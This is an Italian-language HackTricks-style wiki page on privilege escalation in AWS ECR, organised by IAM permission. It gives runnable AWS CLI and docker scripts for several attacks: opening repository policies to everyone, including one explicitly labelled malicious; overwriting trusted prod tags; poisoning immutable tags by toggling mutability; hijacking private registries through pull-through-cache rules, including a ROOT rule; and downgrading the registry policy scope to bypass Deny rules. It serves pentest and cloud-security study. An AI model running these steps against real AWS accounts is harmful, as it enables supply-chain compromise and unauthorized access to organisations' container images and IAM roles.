# AWS - ECR Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## ECR

### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage`

Un attacker con i permessi **`ecr:GetAuthorizationToken`** e **`ecr:BatchGetImage`** può effettuare il login su ECR e scaricare immagini.

Per maggiori informazioni su come scaricare le immagini:

{{#ref}}
../../aws-post-exploitation/aws-ecr-post-exploitation/README.md
{{#endref}}

**Impatto potenziale:** privesc indiretto intercettando informazioni sensibili nel traffico.

### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart`

Un attacker con tutti questi permessi **può effettuare il login su ECR e caricare immagini**. Questo può essere utile per escalation di privilegi verso altri ambienti dove quelle immagini vengono utilizzate.

Inoltre, `ecr:PutImage` può essere usato per **sovrascrivere un tag esistente** (per esempio `stable` / `prod`) caricando un manifest di immagine diverso sotto quel tag, di fatto dirottando i deploy basati sui tag.

Questo è particolarmente impattante quando i consumatori downstream effettuano deploy per tag e si **auto-refresh** al cambiamento del tag, come:

- **Lambda container image functions** (`PackageType=Image`) che referenziano `.../repo:stable`
- ECS services / Kubernetes workloads che effettuano il pull di `repo:prod` (senza pinning del digest)
- Qualsiasi CI/CD che ridistribuisce a seguito di eventi ECR

In questi casi, la sovrascrittura di un tag può portare a **remote code execution** nell'ambiente del consumer e ad escalation di privilegi verso il ruolo IAM usato da quel workload (per esempio, un Lambda execution role con `secretsmanager:GetSecretValue`).

Per imparare come caricare una nuova immagine/aggiornare una esistente, consulta:

{{#ref}}
../../aws-services/aws-eks-enum.md
{{#endref}}

### `ecr-public:GetAuthorizationToken`, `ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload`, `ecr-public:InitiateLayerUpload, ecr-public:PutImage`, `ecr-public:UploadLayerPart`

Come la sezione precedente, ma per repository pubblici.

### `ecr:SetRepositoryPolicy`

Un attacker con questo permesso potrebbe **modificare** la **repository** **policy** per concedersi (o concedere a chiunque) **accesso in lettura/scrittura**.\
Per esempio, in questo esempio l'accesso in lettura è concesso a tutti.
```bash
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
```
Contenuto di `my-policy.json`:
```json
{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "allow public pull",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}
```
### `ecr-public:SetRepositoryPolicy`

Come la sezione precedente, ma per i repository pubblici.\
Un attaccante può **modificare la policy del repository** di un repository ECR Public per concedere accesso pubblico non autorizzato o per elevare i propri privilegi.
```bash
# Create a JSON file with the malicious public repository policy
echo '{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "MaliciousPublicRepoPolicy",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr-public:GetDownloadUrlForLayer",
"ecr-public:BatchGetImage",
"ecr-public:BatchCheckLayerAvailability",
"ecr-public:PutImage",
"ecr-public:InitiateLayerUpload",
"ecr-public:UploadLayerPart",
"ecr-public:CompleteLayerUpload",
"ecr-public:DeleteRepositoryPolicy"
]
}
]
}' > malicious_public_repo_policy.json

# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
```
**Impatto potenziale**: accesso pubblico non autorizzato al repository ECR Public, consentendo a qualsiasi utente di push, pull o delete images.

### `ecr:PutRegistryPolicy`

Un attaccante con questa autorizzazione potrebbe **modificare** la **registry policy** per concedere a sé stesso, al suo account (o anche a chiunque) **read/write access**.
```bash
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
```
### ecr:CreatePullThroughCacheRule

Abusa delle regole ECR Pull Through Cache (PTC) per mappare uno namespace upstream controllato dall'attaccante a un prefisso privato ECR di fiducia. Questo fa sì che i workload che effettuano il pull dal ECR privato ricevano in modo trasparente immagini dell'attaccante senza alcun push sul ECR privato.

- Permessi richiesti: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. Se si utilizza ECR Public come upstream: ecr-public:* per creare/eseguire il push nel repository pubblico.
- Upstream testato: public.ecr.aws

Steps (example):

1. Prepare attacker image in ECR Public
# Get your ECR Public alias with: aws ecr-public describe-registries --region us-east-1
docker login public.ecr.aws/<public_alias>
docker build -t public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test .
docker push public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test

2. Create the PTC rule in private ECR to map a trusted prefix to the public registry
aws ecr create-pull-through-cache-rule --region us-east-2 --ecr-repository-prefix ptc --upstream-registry-url public.ecr.aws

3. Pull the attacker image via the private ECR path (no push to private ECR was done)
docker login <account_id>.dkr.ecr.us-east-2.amazonaws.com
docker pull <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test
docker run --rm <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test

Potential Impact: Compromissione della catena di fornitura intercettando nomi di immagini interni sotto il prefisso scelto. Qualsiasi workload che esegue il pull di immagini dal ECR privato usando quel prefisso riceverà contenuto controllato dall'attaccante.

### `ecr:PutImageTagMutability`

Abusa di questo permesso per cambiare un repository con tag immutabili in mutabile e sovrascrivere tag affidabili (es., latest, stable, prod) con contenuto controllato dall'attaccante.

- Permessi richiesti: `ecr:PutImageTagMutability` più capacità di push (`ecr:GetAuthorizationToken`, `ecr:InitiateLayerUpload`, `ecr:UploadLayerPart`, `ecr:CompleteLayerUpload`, `ecr:PutImage`).
- Impatto: Compromissione della catena di fornitura sostituendo silenziosamente tag immutabili senza cambiare i nomi dei tag.

Steps (example):

<details>
<summary>Avvelena un tag immutabile alternando la mutabilità</summary>
```bash
REGION=us-east-1
REPO=ht-immutable-demo-$RANDOM
aws ecr create-repository --region $REGION --repository-name $REPO --image-tag-mutability IMMUTABLE
acct=$(aws sts get-caller-identity --query Account --output text)
aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
# Build and push initial trusted tag
printf 'FROM alpine:3.19\nCMD echo V1\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
# Attempt overwrite while IMMUTABLE (should fail)
printf 'FROM alpine:3.19\nCMD echo V2\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
# Flip to MUTABLE and overwrite
aws ecr put-image-tag-mutability --region $REGION --repository-name $REPO --image-tag-mutability MUTABLE
docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
# Validate consumers pulling by tag now get the poisoned image (prints V2)
docker run --rm ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
```
</details>


#### Hijack globale del registro tramite la regola ROOT Pull-Through Cache

Crea una regola Pull-Through Cache (PTC) usando il speciale `ecrRepositoryPrefix=ROOT` per mappare la radice del registro ECR privato a un registro pubblico upstream (es., ECR Public). Qualsiasi pull verso un repository inesistente nel registro privato verrà servito in modo trasparente dall'upstream, permettendo supply-chain hijacking senza effettuare push su ECR privato.

- Required perms: `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`, `ecr:GetAuthorizationToken`.
- Impatto: i pull a `<account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag>` riescono e creano automaticamente repository privati originati dall'upstream.

> Nota: Per le regole `ROOT`, ometti `--upstream-repository-prefix`. Fornirlo causerà un errore di convalida.

<details>
<summary>Demo (us-east-1, upstream public.ecr.aws)</summary>
```bash
REGION=us-east-1
ACCT=$(aws sts get-caller-identity --query Account --output text)

# 1) Create ROOT PTC rule mapping to ECR Public (no upstream prefix)
aws ecr create-pull-through-cache-rule \
--region "$REGION" \
--ecr-repository-prefix ROOT \
--upstream-registry-url public.ecr.aws

# 2) Authenticate to private ECR and pull via root path (triggers caching & auto repo creation)
aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${ACCT}.dkr.ecr.${REGION}.amazonaws.com

# Example using an official mirror path hosted in ECR Public
# (public.ecr.aws/docker/library/alpine:latest)
docker pull ${ACCT}.dkr.ecr.${REGION}.amazonaws.com/docker/library/alpine:latest

# 3) Verify repo and image now exist without any push
aws ecr describe-repositories --region "$REGION" \
--query "repositories[?repositoryName==docker/library/alpine]"
aws ecr list-images --region "$REGION" --repository-name docker/library/alpine --filter tagStatus=TAGGED

# 4) Cleanup
aws ecr delete-pull-through-cache-rule --region "$REGION" --ecr-repository-prefix ROOT
aws ecr delete-repository --region "$REGION" --repository-name docker/library/alpine --force || true
```
</details>

### `ecr:PutAccountSetting` (Degradare `REGISTRY_POLICY_SCOPE` per aggirare i Deny della policy del registro)

Usa `ecr:PutAccountSetting` per cambiare l'ambito della registry policy da `V2` (policy applicata a tutte le azioni ECR) a `V1` (policy applicata solo a `CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage`). Se una registry policy restrittiva con Deny blocca azioni come `CreatePullThroughCacheRule`, degradare a `V1` rimuove quella restrizione, permettendo agli Allow delle identity policy di avere effetto.

- Required perms: `ecr:PutAccountSetting`, `ecr:PutRegistryPolicy`, `ecr:GetRegistryPolicy`, `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`.
- Impact: Ability to perform ECR actions previously blocked by a registry policy Deny (e.g., creare regole PTC) by temporarily setting scope to `V1`.

Steps (example):

<details>
<summary>Aggirare il Deny della registry policy su CreatePullThroughCacheRule cambiando a V1</summary>
```bash
REGION=us-east-1
ACCT=$(aws sts get-caller-identity --query Account --output text)

# 0) Snapshot current scope/policy (for restore)
aws ecr get-account-setting --name REGISTRY_POLICY_SCOPE --region $REGION || true
aws ecr get-registry-policy --region $REGION > /tmp/orig-registry-policy.json 2>/dev/null || echo '{}' > /tmp/orig-registry-policy.json

# 1) Ensure V2 and set a registry policy Deny for CreatePullThroughCacheRule
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION
cat > /tmp/deny-ptc.json <<'JSON'
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "DenyPTCAll",
"Effect": "Deny",
"Principal": "*",
"Action": ["ecr:CreatePullThroughCacheRule"],
"Resource": "*"
}
]
}
JSON
aws ecr put-registry-policy --policy-text file:///tmp/deny-ptc.json --region $REGION

# 2) Attempt to create a PTC rule (should FAIL under V2 due to Deny)
set +e
aws ecr create-pull-through-cache-rule \
--region $REGION \
--ecr-repository-prefix ptc-deny-test \
--upstream-registry-url public.ecr.aws
RC=$?
set -e
if [ "$RC" -eq 0 ]; then echo "UNEXPECTED: rule creation succeeded under V2 deny"; fi

# 3) Downgrade scope to V1 and retry (should SUCCEED now)
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V1 --region $REGION
aws ecr create-pull-through-cache-rule \
--region $REGION \
--ecr-repository-prefix ptc-deny-test \
--upstream-registry-url public.ecr.aws

# 4) Verify rule exists
aws ecr describe-pull-through-cache-rules --region $REGION \
--query "pullThroughCacheRules[?ecrRepositoryPrefix=='ptc-deny-test']"

# 5) Cleanup and restore
aws ecr delete-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc-deny-test || true
if jq -e '.registryPolicyText' /tmp/orig-registry-policy.json >/dev/null 2>&1; then
jq -r '.registryPolicyText' /tmp/orig-registry-policy.json > /tmp/_orig.txt
aws ecr put-registry-policy --region $REGION --policy-text file:///tmp/_orig.txt
else
aws ecr delete-registry-policy --region $REGION || true
fi
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION
```
</details>

{{#include ../../../../banners/hacktricks-training.md}}
